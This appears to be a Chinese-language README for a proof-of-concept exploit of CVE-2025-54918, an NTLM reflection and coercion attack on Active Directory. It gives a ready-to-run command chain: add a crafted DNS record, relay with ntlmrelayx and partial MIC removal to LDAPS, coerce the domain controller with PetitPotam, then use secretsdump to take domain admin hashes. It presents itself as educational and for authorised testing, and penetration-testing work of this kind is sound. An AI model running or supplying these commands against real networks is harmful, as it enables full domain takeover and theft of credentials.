重要提示:
要测试 CVE-2025-54918,您必须在目标 Active Directory 环境中创建一条 DNS 记录。
测试前务必咨询客户并获得明确授权,因为这可能会影响生产环境中的 DNS 和身份验证行为。
此仓库包含一个技术概念验证,演示了低权限域用户如何通过滥用 NTLM 反射结合身份验证强制提升到域管理员级别访问权限。
注意:即使将签署设置为 True(域控制器的默认值),该 CVE 仍可利用。此外,CVE-2025–54918 的修复针对的是 Windows 2025,而 CVE-2025–33073(非预期)修复了 Windows 2022。
更详细的技术分析可在我的 Medium 页面找到:https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1
192.168.140.150(签署为 True,这是域控制器的默认值)192.168.140.135nahya.localtest 有效的域用户(无 DCSync 权限)克隆所需仓库:
git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git
验证用户在进行利用前无法执行 DCSync:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

使用 NetBIOS 名称 + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 创建一条解析到攻击者 IP 的 DNS 记录。
python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
dc.nahya.local -a add \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d '192.168.140.135' -dns-ip 192.168.140.150

使用部分 MIC 移除和 LDAP 权限提升选项运行 ntlmrelayx:
python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC --escalate-user USERNAME --no-validate-privs

使用强制技术 (PetitPotam) 强制域控制器向攻击者控制的 DNS 记录进行身份验证:
nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

重新运行 secretsdump 以确认权限提升:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC
✅ 预期结果:成功执行 DCSync 并获取 域管理员哈希

此时,攻击者已经:
有关漏洞和攻击链的深入解释,请参阅 Medium 文章。
这项工作离不开以下贡献:
impacket-partial-mic 实现分析 NTLM 和 LDAP 身份验证绕过漏洞 – CrowdStrike Blog
https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/
Microsoft 安全公告 – CVE-2025-54918 – MSRC 更新指南
https://msrc.microsoft.com/update-guide/advisory/CVE-2025-54918
本概念验证仅用于教育和授权的安全测试目的。